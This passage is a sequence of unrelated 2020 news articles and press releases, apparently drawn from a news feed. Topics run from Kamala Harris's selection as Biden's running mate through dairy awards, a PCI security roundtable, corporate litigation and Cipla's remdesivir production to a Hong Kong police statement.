tremendous shift in the Democratic Party by finally recognizing how important Black people, and most specifically Black women, are to the base," she said. "We dont just mobilize the Black community, but we mobilize the party overall." Despite the weeks of blustery speculation about Biden's pick, the final decision was announced not by news leaks, but a text message to supporters. The campaign later tweeted a picture of Biden informing Harris via video chat on a laptop an aptly socially distanced job offer in the era of coronavirus. In making his decision, Biden consulted often with Democratic Rep. James E. Clyburn of South Carolina, the Black power broker whose endorsement turned the tide of the primary season irreversibly in Bidens favor. Clyburn said in a call with reporters he believed that the final three contenders were Harris, national security advisor Susan Rice and Los Angeles Rep. Karen Bass. But Biden was still talking with Massachusetts Sen. Elizabeth Warren as recently as this past weekend, a source familiar with the conversation said. He called Warren early this afternoon to let her know she had not been chosen. Clyburn said he did not make a specific recommendation about whom Biden should pick. He did not believe the potential political liabilities of Harris' record as a prosecutor should be a factor, he said. I told him I do not wish to see peoples professions held against them. You judge people by how they conduct themselves in their professions," he said. Once the pick was made official, Harris was celebrated by other women in contention for the job. Rice praised her as a "tenacious and trailblazing leader," while Bass commended her "relentless advocacy for the people." They were echoed by a chorus of Democratic officials and interest groups signaling their approval, including former President Obama, who described the choice of a vice president as "the first important decision" a president makes. "Joe Biden nailed this decision," Obama said in a statement. Born in Oakland and raised in Berkeley, Harris is the older daughter of two immigrants; her mother was an Indian-born breast cancer researcher and her father is an economist from Jamaica. She and her sister, Maya, who is one of Harris' closest political advisors, were raised primarily by their mother, steeped in a hybrid of Indian and Black culture. She attended Howard University, a historically Black college in Washington, D.C. Harris would often visit her mother's family in India, usually Chennai, where her grandparents settled later in life. She was especially close with her grandfather, P.V. Gopalan, a civil servant, with whom she would make French toast and play five-card stud poker. She is a product of the Bay Area's competitive political training ground, having worked in the public sector her entire career. She now lives in Los Angeles with her husband, Douglas Emhoff, an attorney. Harris spent 13 years as a prosecutor in Alameda County and San Francisco. She won her first elected office as San Francisco district attorney in 2003, and after two terms won a tight race to be California attorney general, a role she held through 2016. Harris was barely two years into her first term as U.S. senator from California when she jumped into the presidential fray, buoyed by her high-profile prosecutorial interrogations of Trump administration officials in Senate hearings. Her brisk grilling of then-Atty. Gen. Jeff Sessions in 2017, for example, about his interactions with Russian officials during the presidential campaign a year earlier, left him tongue-tied and complaining that the pace of her questions made him "nervous." She immediately established herself as a top-tier candidate with a flashy Oakland launch rally in January 2019. But her campaign flagged in the spring as she struggled to square her law enforcement resume with a Democratic electorate that has lurched leftward on criminal justice issues. A defining moment of her presidential run came at the first Democratic primary debate, when she challenged Biden for speaking warmly of his collegiality with segregationist senators and his work with them to stymie busing to racially integrate schools. There was a little girl in California who was part of the second class to integrate her public schools, and she was bused to school every day, she said onstage, as she angled her body to speak directly to Biden. And that little girl was me. Biden appeared flustered by the charge, particularly given his warm relationship with Harris, who had been close friends with his late son, Beau. The confrontation had limited short-term benefit for Harris, whose campaign sputtered out under lagging poll numbers and dwindling fundraising by December, before any primary votes were cast. Both Harris and Biden insisted that there were no lingering hard feelings. Harris, who endorsed Biden in March, has been an enthusiastic campaigner for the presumptive Democratic nominee, making frequent appearances at virtual roundtables and fundraisers. It is not unheard of for once-fierce rivals to serve as running mates. In 1960, John F. Kennedy chose Lyndon B. Johnson for the Democratic ticket despite their mutual disdain. In 1980, Republican Ronald Reagan made George H.W. Bush his vice presidential pick even after Bush mocked Reagans policy agenda as voodoo economics. Still, some Biden allies held the debate moment against Harris, arguing that the showdown undercut her ability to be a loyal running mate, particularly if she fixes her eye on succeeding him in the Oval Office (hardly an uncommon ambition for vice presidents). Harris and Biden have departed on other policy matters, namely healthcare. Biden is a proponent of expanding the Affordable Care Act to include a public option. Harris backed a version of "Medicare for all," although her shifting stances on whether private insurers should have a role in a government healthcare plan caused her some blowback during the primary. At the time, Harris found herself on difficult ideological ground, wedged between centrists such as Biden and rivals to her left such as Warren and Sen. Bernie Sanders of Vermont. Now, that position may offer the benefit of bridging the two wings of the party. "Kamala is kind of in the territory between Biden and the truly progressives," said Bruce Cain, professor of political science at Stanford University. "That can be a weakness for her, but its also a strength. There's a certain ambiguity as to exactly how progressive she is." That has led to some disappointment on the party's left flank. The Progressive Democrats of America and RootsAction, two grass-roots groups, dejectedly called Harris a "political weather vane" in a statement. Others said the choice means the Democratic ticket will need to make continued overtures to progressives. Sen. Harris and Vice President Biden know that they have to reach all shades of blue within the Democratic Party, and there are existing rifts between Sen. Harris and some branches of the progressive family. I am convinced they are prepared to work through those issues in order to bring those voters to the table," said Jane Kleeb, chairwoman of the Nebraska Democratic Party and a member of the board of Our Revolution, a political group allied with Sanders. Harris also ends a decades-long political drought for California, the country's most populous state, which has not been represented on a national ticket since President Reagan sought reelection in 1984. Golden State politicians who have tried to make the leap to the White House since then, such as former Govs. Pete Wilson and Jerry Brown, "often had trouble translating their California experience nationwide," Cain said. "Thats not going to be a problem for Kamala," he said, noting she went through nearly a year of national campaigning and five primary debates before dropping out of the race in December. Times staff writers Janet Hook and Noah Bierman in Washington contributed to this report. An Offaly farm family has been chosen as the winner of a prestigious Milk Quality Award Kenneth Whittle from Walsh Island, Co. Offaly has been declared the winner of the new entrant to dairying category in the Lakeland Dairies Milk Quality Awards for the exceptionally high quality of milk produced on his farm. The Milk Quality Awards publicly recognise the achievements of Lakeland Dairies milk suppliers who are committed to quality in all aspects of their milk production. Winning a milk quality award is a truly excellent achievement. The winners emerged from among 3,200 farm families across 16 counties who produce milk for the 1.85bn Lakeland Dairies milk pool. READ NEXT: Latest update on confirmed cases of Covid-19 are in hospital in Offaly, Laois and Kildare In the past five years, over 300 new entrants have started supplying milk to Lakeland Dairies. Farm families in Co. Down and Co. Cavan have been announced as the Lakeland Dairies Supreme Milk Quality Award Winners. For the first time in the history of the Lakeland Dairies Milk Quality Awards, joint Supreme Champions of the awards have been announced one from Northern Ireland and one from the Republic of Ireland. Stanley and Tanya Graham from Killeshandra, Co. Cavan along with Sean, Shane and Stephanie Sloan from Kilkeel, Co. Down have both been named as Supreme Champion. The Graham family also took home the <500,000 litre producer category in the Republic of Ireland while the Sloan family are winners in the >1m litre producer category in Northern Ireland. Outside of the Supreme Champions, Lakeland Dairies has also announced the winners in the other categories of the Milk Quality Awards. In the Republic of Ireland, Dermot Sherry from Drumhillock, Co Monaghan is the winner in the >500,000 litre producer category. In Northern Ireland, Cecil and Gordon Wilson from Dromara, Co. Down won the <1m litre producer category in Northern Ireland. Lakeland Dairies Chairman Alo Duffy paid tribute to the award winners. Despite the onset of the COVID-19 global pandemic, it is critical to recognise and reward the commitment of our 3,200 farm families to the highest standards of milk production, sustainability, hygiene, animal health and overall care for the environment. With Lakeland Dairies exporting high-quality products to some 80 global market, the basis of our exporting success is based on the supreme milk produced inside the farm gate. We continue to recognise the integral aspect of our farmers to the ongoing success of the Lakeland Dairies business. Quality is the building block of our entire business and I acknowledge all my farming colleagues for their continued commitment to excellence. Lakeland Dairies Group CEO, Michael Hanley said, the global reputation and success of our business starts with every single litre of milk sent to us for processing and is therefore based on the dedication and hard work of the 3,200 farm families who we are deeply proud to have within our co-operative. We are resolute in driving forward our business in the interests of our milk producers and we are delighted to recognise their achievements which are exemplified in the achievements of our Milk Quality Award winners who I wholeheartedly congratulate. Our customers place the highest levels of trust in our credentials of sustainability, quality and reliability in meeting their needs for value-added dairy products. We are able to fulfil that commitment based on the excellent endeavours of our dairy farmers. In doing so, we will continue to ensure future long term sustainability for dairy farmers, rural communities and the export led success of our dairy industry. Brisbane streets have become "dumping grounds" since kerbside collection was scrapped in the council's budget, Labor says, after a large spike in reports of illegal dumping. Kerbside collection was paused in April to reduce the risk of coronavirus transmission, but in June lord mayor Adrian Schrinner announced the council would pause the service for two years to save $13 million in the pandemic-hit 2020-21 budget. Brisbane City Council announced it would scrap its popular kerbside collection program for two years. Credit:Ken Irwin Figures released at Tuesday's council meeting, following a question on notice from Labor, show that from January to March, the council had seven reports of illegal dumping. In April to June, that figure leapt to 90 reports. Twenty-seven complaints were made in July as well. 31783 Mount Sinai Health System has hired Kristin Myers, MPH, as the Executive Vice President, Chief Information Officer, and Dean for Information Technology (IT) Fremont, CA: Ms. Myers most recently worked as a Senior Vice President for Technology. In her new role, Ms. Myers will give visionary leadership and steer IT transformation efforts to streamline and support the Health System strategy. Her main objectives will be to fuel agility in the department to back the Health Systems mission of clinical research, care, research, and education; to optimize the departments operations, and allow the Mount Sinai Health System digital change. Ms. Myers joined Mount Sinai as a Director of IT in the year 2004. Her many accomplishments consist of the leadership of the Epic clinical and revenue cycle implementations and the organizations shift to ICD10 coding, and establishment of the IT Program Management Office and Change Management as a discipline within IT in 2009. Under Ms. Myerss leadership, Mount Sinai was donned with the prestigious award by Health Information and Management System Society (HIMSS) 2012 Enterprise Davies Award of Excellence for its electronic record implementation to enhance the quality of care and patient safety. Mount Sinai Morningside and Mount Sinai West got HIMSS Stage 7, the highest degree of technology adoption. Kenneth L. Davis the MD, President, and Chief Executive Officer of the Mount Sinai Health System have mentioned in a press release that Kristins accomplishments and extensive work in the IT sector provide her with the required insights to lead the Health System as the organization continues to implement the modern infrastructures, programs, and policies that maximize the efficiency and facilitate communication that impacts the care and safety of their patients. Before joining Mount Sinai, Ms. Myers worked at Cap Gemini, Ernst and Young, and the Cerner Corporation in Australia. She has an Executive Master of Public Health from Columbia University and an Executive Chief Information Security Officer certification from Carnegie Mellon. She has been designated a Fellow of HIMSS; has received certifications in Program Management (PgMP), Project Management (PMP, Prince 2), and AIM Change Management; and also is a Certified Professional in Health Information and Management Systems. See Also: Top Healthcare Cybersecurity Companies OREM, Utah, Aug. 11, 2020 /PRNewswire/ -- In the Payment Card Industry security compliance realm, collaboration between security assessors and the PCI Security Standard Council is critical for updating the PCI Data Security Standard and protecting the entire payments ecosystem. The PCI Security Standard Council's Global Executive Assessor Roundtable (GEAR) serves as a direct channel for communication between senior leadership of payment security assessors and PCI SSC senior leadership. SecurityMetrics is one of 28 organizations to join the PCI SSC's Roundtable in its efforts to secure payment data globally. As strategic partners, Roundtable members bring industry, geographical, and technical insight to PCI SSC plans and projects on behalf of the assessor community. "We have enjoyed participating on the PCI SSC GEAR team for the past two years, and look forward to continuing our work. This initiative from the PCI Council helps the assessor community really come together, build great working relationships with PCI Council members, and work towards improving the quality of assessments," says SecurityMetrics VP of Assessments, Gary Glover (CISSP, CISA, QSA, PA-QSA ). Glover will act as the GEAR representative for SecurityMetrics. He brings insights from over a decade of PCI compliance experience including hundreds of security assessments as a QSA before becoming VP of the department and overseeing SecurityMetrics' auditors. PCI SSC Executive Director Lance J. Johnson says, "The Global Executive Assessor Roundtable provides industry expertise and perspectives that influence and shape the development of PCI Security Standards and programs. We look forward to working with SecurityMetrics in our efforts to help organizations secure payment data globally." About SecurityMetrics SecurityMetrics helps customers close data security and compliance gaps to avoid data breaches. They provide managed data security services and are certified to help customers achieve the highest data security and compliance standards. As an Approved Scanning Vendor , Qualified Security Assessor , Certified Forensic Investigator, and Managed Security provider SecurityMetrics guides organizations through data security testing and compliance mandates (PCI, HIPAA, GDPR, HITRUST). With over 15 years of forensic investigations, penetration testing, vulnerability assessments, and compliance audits, SecurityMetrics has tested over 1 million systems for vulnerabilities. The privately held company is headquartered in Orem, Utah where it maintains a Security Operations Center (SOC) and 24/7 multilingual technical support. About the PCI Security Standards Council The PCI Security Standards Council (PCI SSC) leads a global, cross-industry effort to increase payment security by providing industry-driven, flexible and effective data security standards and programs that help businesses detect, mitigate and prevent cyberattacks and breaches. Connect with the PCI SSC on LinkedIn. Join the conversation on Twitter @PCISSC . Subscribe to the PCI Perspectives Blog . For press inquiries please contact Meagan Elguera at [email protected] SOURCE SecurityMetrics Related Links http://www.securitymetrics.com The Police in Nasarawa State have arrested 27 suspects over alleged armed robbery and kidnapping in the state. The Commissioner of Police in the state, Bola Longe, told journalists on Monday in Lafia that the suspects were arrested from different locations across the state within the last two weeks. Mr Longe, while parading some of the suspects at the police command headquarters in Lafia, said amongst them were those connected to the killing of the village head of Odu community in Nasarawa Local Government Area, Amos Obere, on July 31. He explained that the suspected killers of the village head were arrested from a drinking joint in Nasarawa town where they were having fun. He said the suspects also confessed to kidnapping some commuters in Loko village, who were travelling from Otukpo in Benue state to Abuja. Mr Longe said the suspects behind the killing of a Superintendent of the Nigeria Immigration Service (NIS), Salisu Usman-Maku, and his sister, Sadatu Usman-Maku, in Gudi, Akwanga Local Government Area, were also in police net. Others in police custody according to the CP are the alleged kidnappers of Joseph Masin, state chairman, Christian Association of Nigeria (CAN). READ ALSO: He said seven firearms and several rounds of live ammunition as well as a vehicle were recovered from the criminal suspects during the various operations. Mr Longe said, The command wants to assert unequivocally that the security of lives and property of every law-abiding citizen remains its priority and will not shy away from this constitutional duty. In the light of this, we want to reassure the public of our avowed commitment to the realisation of this objective. The police also want to appreciate members of the public, traditional rulers and other security agencies for their support and cooperation, which impacted positively on the police achievements in recent times. (NAN) NEW YORK, Aug. 10, 2020 /PRNewswire/ -- Pomerantz LLP is investigating claims on behalf of investors of McDonald's Corporation ("McDonald's" or the "Company") (NYSE: MCD). Such investors are advised to contact Robert S. Willoughby at [email protected] or 888-476-6529, ext. 7980. The investigation concerns whether McDonald's and certain of its officers and/or directors have engaged in securities fraud or other unlawful business practices. [Click here for information about joining the class action] On November 3, 2019, McDonald's announced the termination of Steve Easterbrook from his role as McDonald's Chief Executive Officer, finding that Easterbrook had "demonstrated poor judgment" in engaging in a consensual relationship with a McDonald's employee, in violation of Company policy. On this news, McDonald's stock price fell $5.28 per share, or 2.72%, to close at $188.66 per share on November 4, 2019. Then, on August 10, 2020, McDonald's sued Easterbrook in Delaware Chancery Court seeking to recoup a severance package worth more than $40 million, alleging, among other things, that Easterbrook had concealed details of three "physical sexual relationships" with employees and had awarded stock valued at hundreds of thousands of dollars to one of the employees. The Pomerantz Firm, with offices in New York, Chicago, Los Angeles, and Paris is acknowledged as one of the premier firms in the areas of corporate, securities, and antitrust class litigation. Founded by the late Abraham L. Pomerantz, known as the dean of the class action bar, the Pomerantz Firm pioneered the field of securities class actions. Today, more than 80 years later, the Pomerantz Firm continues in the tradition he established, fighting for the rights of the victims of securities fraud, breaches of fiduciary duty, and corporate misconduct. The Firm has recovered numerous multimillion-dollar damages awards on behalf of class members. See www.pomerantzlaw.com. CONTACT: Robert S. Willoughby Pomerantz LLP [email protected] 888-476-6529 ext. 7980 SOURCE Pomerantz LLP Related Links www.pomerantzlaw.com Editor-in-Chief of the Insight newspaper, Kwesi Pratt Jnr. says the offences by some SHS students who ridiculed President Nana Akufo-Addo over their failure to write their final examinations are not the same and so asked the education authorities not to lump the offences together. Speaking to host Kwami Sefa Kayi on the sanctioned students, Kwesi Pratt defended the actions of some of the students, claiming not all of them vilified the President. A video that went viral on social media days ago captured some aggrieved finaly year students insulting the President while others destroyed their school properties all in protest against their inability to write one of their final exam papers. The student who were relying on past questions got disappointed to have answered new questions which they had not crammed from the past questions, hence going all ballistic on the President blaming him for not helping them to pass their paper. Amidst the insults, some students threatened not to vote for President Akufo-Addo and his government in the December 7 elections this year. According to Kwesi Pratt, the students who pledged not to vote for the President cannot be grouped under the category of the students who insulted the President. He argued that the students have a right to proclaim who they want to win the elections and so questioned why they would be punished for exercising their right. He asked the Ghana Education Service what the offence of those students are to merit a punishment. "These offences are all not the same. In fact, in some cases, they're not offences. In Ghana, it's the right of a person, whether 18 years old or 75 years, to say he or she will vote for this party or not. But it is a unlawful to destroy a property, whether in provocation or not; so, that's a different category. The insult also shouldn't be tolerated . . . I wasn't happy with the insults but there's nothing wrong with the students who said they want or don't want a particular political party or President," he said on Peace FM's 'Kokrokoo'. Watch full submissons below: Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Benchmark Lending in Flemington has paired up with non-profits over the past few months to deliver their most needed wish list items, including diapers for the United Way of Hunterdon County, pet supplies for the Animal Alliance and personal care kits for Fishermans Mark. Personal hygiene items are often in short supply, and we are so grateful to Benchmark Lending and Glenn Davis for the generous donation of these much needed items during these trying times, said Jennifer Williford, executive director of Fishermans Mark. At Fishermans Mark we have seen a 200% increase in new clients since the onset of COVID-19, and the support from the community has been critical to addressing this unprecedented need. To show appreciation to first responders, Glenn M. Davis, owner and Certified Mortgage Planning Specialist at Benchmark Lending in Flemington, delivered lunch to local police departments in Lambertville, Flemington, Raritan and Delaware townships. Office manager Nora Mathews partnered with local businesses to deliver these lunches, including Main Street Bagel in Flemington and Maria Rosa Pizzeria in Delaware Township. Banners thanking essential workers and first responders hang in front of the Benchmark Lending office at 110 Main St. in Flemington. The banners were printed by another local business, Minuteman Press. Small business owners care about our community and their neighbors, provide amazing customer service, provide employment for local families, and give back in so many ways, said Flemington Borough Council President Kaitlin Giles-McCormick. We are grateful to Benchmark Lending and all the amazing businesses in our community who have shown leadership and generosity during these difficult times. Another donation will be to the Flemington Fire Department which includes disposable face masks, antibacterial wipes and other wish list items, which will be delivered to their August department meeting along with a pizza dinner for the volunteer fire fighters to enjoy. Jennifer Williford, executive director of Fishermans Mark in Lambertville, and Glenn M. Davis of Benchmark Lending are pictured in front of Fishermans Mark with the personal hygiene kits donated by Benchmark Lending. Meghan Markle wanted to shine with her work as a royal and not her wardrobe, new bombshell biography Finding Freedom has revealed. The book, wrritten by Omid Scobie and Carolyn Durand, claims that the Duchess of Sussex, 39, wanted to shine a light on small local businesses and picked a 'neutral' outfit herself for her first ever royal engagement with Prince Harry. On December 1 2017, she wore a 595 midi skirt from Joseph and a 160 bodysuit from Woldford she had selected on her own to accompany Prince Harry to Nottingham, where the couple met crowds on the occasion of World AIDS day. Finding Freedom provides an intimately detailed and personalised version of the events leading up to the Sussexes' dramatic departure from royal life, with the co-authors insisting 'all information in this book has at least two sources'. On December 1 2017, she wore a 595 midi skirt from Joseph and a 160 bodysuit from Woldford she had selected on her own to accompany Prince Harry to Nottingham, where the couple met crowds on the occasion of World AIDS day 'In regard to her dress, Meghan didnt want to be seen as too fashion forward,' the book reads. 'She had a mindful vision, hoping that the press would focus more on her humanitarian work and less on whether she landed on best-dressed lists,' it goes on. Finding Freedom explains that Meghan referred to her outfit as her 'work wardrobe,' and made sure it consisted of 'polished pieces in neutral hues that didnt detract from the people she was going to be meeting or appear too showy.' 'Each outfit must also include at least one piece or accessory by a local designer, a show of her solidarity to whatever area she might be visiting,' the book adds. For one of her last outing as a royal, Meghan opted for a form fitting blue number from her pal Victoria Beckham George Northwood, the British hairstylist who worked with Meghan for two years after her wedding, told the authors: 'She really does put a lot of thought into those details. 'I always remember wherever we went, she would always try to hero small businesses and local jewelry designers,' he is quoted saying in the book'. The book gives the example of the outfit Meghan picked for her first ever royal engagement by Prince Harry's side, following the couple's engagement announcement. 'For that all-important first royal engagement a December 1 trip to Nottingham to attend a World AIDS Day event and meet with Full Effect, a group of positive role models for kids Meghan chose a khaki-hued midi skirt from the London-based brand Joseph, a basic black turtleneck, and a pair of black, suede over-the-knee boots crafted by British designer Kurt Geiger,' the book reads. For a visit to Cardiff in January 2018, Meghan picked a Stella McCartney coat and a pair of black jeans She paired the look with a 561 black coat from Mackage, a 34 ($45) belt from Babaton by Aritzia and a 545 Strathberry bag. 'Her look, which she put together herself, got the stamp of approval from Kensington Palace,' the book goes on. Finding Freedom, by Omid Scobie and Carolyn Durand, is out today Meghan has always been careful to wear items with meaning during her outing. During her last visit to the UK, on the eve of her and Prince Harry's official departure as senior royals, she used jewellery to support causes close to her heart. On the night of the Endeavour Awards, where she stunned in a blue dress from her friend Victoria Beckham, the Duchess wore 95 Gold Snake Hoops by Roxanne First. The hoops are by designer Roxanne First, which describes itself as the 'go-to site for the independent woman building her own legacy, piece by piece, occasion by occasion' On a visit to Cardiff in 2018, she wore a pair of black jeans and a Stella McCartney coat, with an outfit carefully crafted to make a statement. She wore almost entirely British clothing brands, many from small ethical labels, also striking a point of difference with her sister-in-law Kate, who usually wears more established designers. Fiat Chrysler Automobiles is denying allegations by General Motors that FCA used foreign bank accounts to bribe union officials so they would stick GM with higher labor costs. In court papers filed Monday, the Italian-American automaker called GM's claims defamatory and baseless. GM alleged in a court filing last week that FCA spent millions on bribes by stashing the money in foreign accounts. The allegations of new evidence were made in a motion asking a federal judge to reconsider his July dismissal of a federal lawsuit against Fiat Chrysler. GM alleged that bribes were paid to two former United Auto Workers presidents, as well as a former union vice president and at least one former GM employee. In its response, Fiat Chrysler said GM has to know that the prospect of getting the judge to overturn the dismissal is slim to none. So this motion is apparently a vehicle to make more defamatory and baseless accusations about a competitor that is winning in the marketplace. FCA wrote that GM's motion reads like a script from a third-rate spy movie, full of preposterous allegations. GM alleged that FCA paid two moles to infiltrate GM and funnel inside information to FCA, the automaker said. GM's allegation that foreign accounts were used is not true, FCA said. That GM has extended its attacks to individual FCA officers and employees, making wild allegations against them without a shred of factual support, is despicable, FCA lawyers wrote. GM alleged that bribes were paid to former United Auto Workers Presidents Dennis Williams and Ron Gettelfinger, as well as Vice President Joe Ashton. It also alleges money was paid to GM employees including Al Iacobelli, a former FCA labor negotiator who was hired and later released by GM. GM alleges that payments were made so the officials would saddle GM with more than $1 billion in additional labor costs. Gettelfinger, whose name had not come up previously in a wide-ranging federal probe of UAW corruption, vehemently denied the allegations in a statement and said he had no foreign accounts. Williams' California home was raided by federal agents but he has not been charged. Iacobelli, who is awaiting sentencing in the probe, also denied the claims. In July, US District Judge Paul Borman in Detroit tossed out GM's lawsuit that alleged that Fiat Chrysler paid off union leaders to get better contract terms than GM. He wrote that GM's alleged injuries were not caused by FCA violating federal racketeering laws, that GM had not stated a claim that can be granted, and that the people harmed by the bribery scheme were Fiat Chrysler workers. On Monday, Borman issued an order saying that FCA had to file its response by the end of the day and saying that he didn't want anything else from GM. GM's motion contended that payments were made to accounts in places like Switzerland, Luxembourg, Italy, Singapore and the Cayman Islands. The accounts were set up to avoid detection in the federal criminal probe,, according to the motion. The accounts were discovered recently by private investigators working on GM's behalf, according to court records. The debate over whether schools should reopen brings to mind a quip about the 1950s: Pessimists back then worried about World War III, optimists worried about World War IV. As educators and policymakers grapple with questions about this fall, others are leapfrogging with bigger questions , many of them borrowing the cliche about not letting a good crisis go to waste. As one education leader put it, This could be a Sputnik-like opportunity to renew Americas commitment to children and equity eradicate childhood poverty and construct a 21st-century system that adapts to each child and gives them what they need to be successful. Reopening, therefore, has reopened another debateabout unfulfilled promises and the great potential of the American public school system. Motivated by evidence of persistent and rising inequality, advocates for seizing the current moment allege that the system has failed and offer ideas that are bold (if familiar): Stop standardized testing, revise curriculum standards, legislate equity in education spending, invest significantly in teacher professional development, etc. Political will and national investment in education after Sputnik launched us not just to the moon but to global scientific hegemony; dreamers about the future of education are on to something. But details matter. For example, doing away with standardized testing has long been popular among some reformers, but its not clear that other types of assessment will serve childrenand especially children of colormore fairly, particularly if the elimination of external metrics further camouflages disparities in resources and opportunity. To their credit, advocates for educational equity have struggled to find a middle ground between potential bias in testing practice and equally (if not more) damaging effects of judgments distorted by subjective and stereotypically false expectations of childrens potential. It is essential to hear the questions on the minds of many parents, kids, educators, and school leaders: What can be done now to recover from the health and economic crisis?" I agree with those who wish for greater emphasis on social-emotional well-being, civic responsibility in a pluralist democracy, and multicultural sensitivity leading to the inclusion (and exclusion) of classroom content and instructional staffin all schools and especially in those with high concentrations of Black, Latinx, indigenous, immigrant, LGBTQ, economically disadvantaged children, and children with disabilities. Those suggestions, too, may sound familiar; but they have special resonance today, when the coronavirus is accompanied by the resurgence and spread of the even more dreadful disease of anti-Black racism and white supremacy. Achieving those goals will take tenacity and political will. As Tyack and Cuban pointed out in their now-classic history of school reform, policy talk often looks toward a whole new era while actual reforms are generally gradual and incremental. That it took 214 years into the life of the republic to pass legislation with national goals suggests that e pluribus unum is easier to put on our great seal than it is to make operational in a system designed to diffuse authority over governance, curriculum, and finance. It is safe to anticipate, therefore, that some curricular revisions and proposals for big structural reforms will be abhorrent to at least some of those dreaming of a Sputnik moment: Some advocates for change might use the crisis to advance vouchers, charters, and other challenges to traditional public schools . There is some irony in the fact that the pursuit of standardswhether in mathematics, reading, science, and other academic subjects, or in so-called noncognitive skillshas proven challenging in large part because of our experiment in pluralism, a concept rightly valued so highly by visionary reformers. Pluralism doesnt favor parsimony. As the economist Albert Hirschman argued, there is a long history of social scientists and politicians with a perfectionist impulse rejecting progressive reforms because they are flawed, often without considering if the anticipated benefits might outweigh the flaws. And I dont mean to add fuel to the flames of predictable reactionary opposition to ideals articulated by educators seeking change. Reality may interfere with dreams, but who wants to live in a world without dreamers? At the same time, taking the long view should not distract us from the short-term emergency. As we work our way through the last weeks of this grueling summer, it is essential to hear the questions on the minds of many parents, kids, educators, and school leaders: What can be done now to recover from the health and economic crisis? Can we prevent learning loss, especially among historically marginalized youths who cant access good online options? Who gets to participate in the so-called pods being formed by (relatively more affluent) families hoping to enhance their kids distance learning ? These questions may seem banal compared to demands for systemic overhaul and the correction of centuries of unequal justice, but we ignore them at our peril. As a wise colleague noted, Whatever the long-term agenda, we need to get through this moment first and in a way that lays the groundwork for the future we want to leapfrog into. Parents today hope for relieffor their kids and themselves; among them are many at the lower end of the income distribution who rely on the public schools not only to teach their children but to feed them and attend to their basic health needs and who are understandably anxious about how a continued shutdown will prevent them from resuming some kind of normal work life. There is strong consensus that classrooms, even with their flaws of curriculum and instruction, are better for academic and social-emotional development than online alternatives with parents as stand-ins for teachers. The consensus is backed by empathicand cautiousguidance from reputable scientific organizations and hundreds of education researchers . (Crass, inconsistent, and brazenly self-interested pronouncements from our president and secretary of education, by contrast, are not helpful.) To visualize the day after tomorrow means attending first to tomorrow. It also means not forgetting victories of yesterday. To paraphrase a truly great American, the arc of education bends toward progress; it would be tragic if visions for the future obscure or unwind gains we have made. Remaining optimistic these days is increasingly difficult. But our penchant for pragmatism, fueled by grand vision, should give us hope. Representative image live bse live nse live Volume Todays L/H More Drug maker Cipla said on Tuesday it is scaling up the production of antiviral drug remdesivir, used in COVID-19 treatment, by manufacturing the drug at its Goa plant. "Currently the demand is huge for remdesivir, and we are scaling up our internal manufacturing of Remdesivir," Kedar Upadhye, global chief financial officer of Cipla, told Moneycontrol. Upadhye did not specify the new capacity that will be added, but hinted that over a period of time, the company wants to move remdesivir production in-house. Cipla has partnered with BDR Pharmaceuticals for API supplies and Sovereign Pharma for finished dosages. Sovereign Pharma has the capacity to produce up to 95,000 vials per month. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Cipla launched remdesivir under brand name Cipremi at Rs 4,000 per vial in July. Cipremi is the cheapest of all generic versions of remdesivir available in the market. A patient needs five vials of the drug. Cipla is among the six Indian generic pharma manufacturers that have signed non-exclusive voluntary licencing agreements with Gilead Sciences for its patented drug Veklury (remdesivir). Moneycontrol reported that 800,000 doses of remdesivir are expected to be available in the country in August as existing suppliers expand capacity, and new manufacturers get ready to enter the market with their generic versions. Tocilizumab shortages Besides remdesivir, another drug tocilizumab that Cipla markets under licensing pact with Swiss pharma company Roche is also seeing huge demand, leading to shortage of the drug in the market. "For tocilizumab, unfortunately we are not able to do anything. But we are in touch with them (Roche) to ease supplies," said Upadhye. Upadhye further said nobody was prepared for this kind of bump up in demand, and it is difficult for them to increase the capacity. Upadhye said the company has the broadest range of drugs and products for COVID-19, from face masks to sanitizers and drugs like remdesivir, favipiravir, tocilizumab, hydroxychloroquine, azithromycin, vitamins, among others. "The idea is to obviously service patients. Some of these are in-license products. The margins are low. Whatever little margin we make is actually invested in giving PPE kits and other things to doctors. "The retained profits of COVID-19 products are hardly anything. In fact, it will be negative also, if I start making a list," Upadhye said. Hong Kong: Police explain operation, arrests Police today stressed that yesterday's operation was conducted in accordance with the law to safeguard national security. It explained that nine men and one woman were arrested by officers of the Police National Security Department in a law enforcement operation for suspected collusion with a foreign country or with external elements to endanger national security, contravening Article 29 of the National Security Law and conspiracy to defraud. It noted that in respect of yesterday's operation, Police had applied for a search warrant from the court in accordance with the legal requirements and procedures and conducted searches at various locations to collect evidence of illegal acts in accordance with the authorisation of the search warrant. As the workplace of those arrested was a media organisation, Police conducted evidence collection at the media organisation. During the process, Police displayed the search warrant multiple times for examination by the media organisation's personnel and legal representatives. Police stressed that the operation was targeted at the alleged offenders' unlawful acts, not the media organisation. It emphasised that freedom of the press is an important cornerstone of Hong Kong and that Police always respect freedom of the press, speech and publication. It indicated that prior to yesterday's operation, police officers were specifically reminded to avoid going through news materials during the evidence collection process, which was also conducted in the company of the media organisation's personnel. Police expressed regret that some media deliberately discredited its search operation. Regardless of the identity or background of the suspects involved, Police stated that they will enforce the law professionally in accordance with the relevant legislation and actual circumstances. On press arrangement, Police reiterated that they always respect press freedom and the rights of the media in reporting. Without 